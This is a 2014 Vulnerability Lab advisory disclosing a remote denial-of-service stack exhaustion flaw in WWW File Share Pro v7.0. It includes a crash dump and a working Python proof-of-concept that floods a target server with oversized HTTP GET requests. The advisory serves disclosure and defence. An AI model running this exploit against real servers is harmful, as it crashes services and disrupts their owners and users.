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WWW File Share Pro v7.0 - Denial of Service Vulnerability
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Mon, 01 Sep 2014 17:15:54 +0200

Document Title:
===============
WWW File Share Pro v7.0 - Denial of Service Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1310

Video: http://www.vulnerability-lab.com/get_content.php?id=1309

http://cwe.mitre.org/data/definitions/121.html


Release Date:
=============
2014-08-30


Vulnerability Laboratory ID (VL-ID):
====================================
1310


Common Vulnerability Scoring System:
====================================
4.2


Product & Service Introduction:
===============================
WWW File Share Pro can help you share files on the internet or on the local area network. You may use it to share files 
between your 
PC and other devices if they may access your PC with an internet browser, regardless of what Operating System is 
installed on them.

- Share office documents between Windows and other operating system: Mac OS X, Linux, iOS, Android, etc.
- View photos or play mp3 files stores on your PC from other portable computer or smart mobile phone: iPad, iPhone, 
Nexus 4, Note II, etc.
- Share files between you and other persons: your friends, your colleagues, etc.

What you need to do is to simply specify a download directory and a upload directory. Then run the internet browser on 
other devices to 
download files from your computer or upload files from those devices to your computer. All popular internet browsers 
are supported, such 
as Firefox, Chrome, Safari, Internet Explorer, Opera, etc. There is no need to install this software or any other 
software on other devices 
because an internet browser is enough.

(Copy of the Vendor Homepage: http://www.wfshome.com/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a remote Denial of Service Vulnerability in the official WWW File 
Share Pro v7.0 software.


Vulnerability Disclosure Timeline:
==================================
2014-08-30:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A critical stack exhaustion buffer overflow vulnerability resulting in remote denial of service has been detected in 
the 
latest WWW File Share PRO 7.0 software. The vulnerability can be triggered by sending a large malformed HTTP GET 
request to 
the vulnerable server. e.g. GET /upload2.htm/A * 100000 resulting in an immediate crash of the application.

(199c.189c): Unknown exception - code c000008f (first chance)
(199c.189c): Unknown exception - code c000008f (first chance)
(199c.189c): Stack overflow - code c00000fd (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=0009334c ebx=006b7528 ecx=00000002 edx=00000000 esi=006b7528 edi=006b7528
eip=7549c42d esp=0009334c ebp=0009339c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
KERNELBASE!RaiseException+0x58:

Recommended Bug Title: Stack Exhaustion starting at KERNELBASE!RaiseException+0x0000000000000058 
(Hash=0x217757a7.0x7b922161)


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user interaction. For security demonstration or to 
reproduce 
the vulnerability follow the provided information and steps below to continue.

PoC: Exploit

#!/usr/bin/python

# Exploit Title: WWW File Share PRO - Stack Exhaustion - Remote (DOS) Exploit [CWE-121]
# Date: 30th August, 2014
# Exploit Author: Ateeq Khan (ateeq () evolution-sec com) http://www.vulnerability-lab.com Twitter: @OhTheITGuy
# Vendor Homepage: http://www.wfshome.com/
# Software Link: http://www.wfshome.com/download/wfspsetup.exe
# Version: 7.0
# Tested on: Win7 SP1 (english)

import socket,sys


if len(sys.argv) != 3:

   print "\r\nUsage: ./fsp.py <target> <port>\r\n\r\n "
   sys.exit(0)

try:
   port = int(sys.argv[2])
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((sys.argv[1],port))

except:
   print "\r\n\r\nCould not connect to target, already down? :/\r\n\r\n"
   sys.exit()

count = 0
buffer = "GET /upload2.htm/"
buffer+= "\x41" * 100000
buffer+= " HTTP/1.0\r\n\r\n"

print "Sending garbage... \r\n"

while count < 500:

      try:
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.connect((sys.argv[1],port))
          s.send(buffer)
          s.close()

      except:
             print "Packets succesfuly sent...\r\n"
             sys.exit()




Security Risk:
==============
The security risk of the remote stack exhaustion denial of service vulnerability is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team]  -  Ateeq Khan (ateeq () evolution-sec com) [Twitter: @ohtheitguy]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either 
expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or 
special damages, even 
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow 
the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or 
encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

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                                Copyright © 2014 | Vulnerability Laboratory [Evolution Security]



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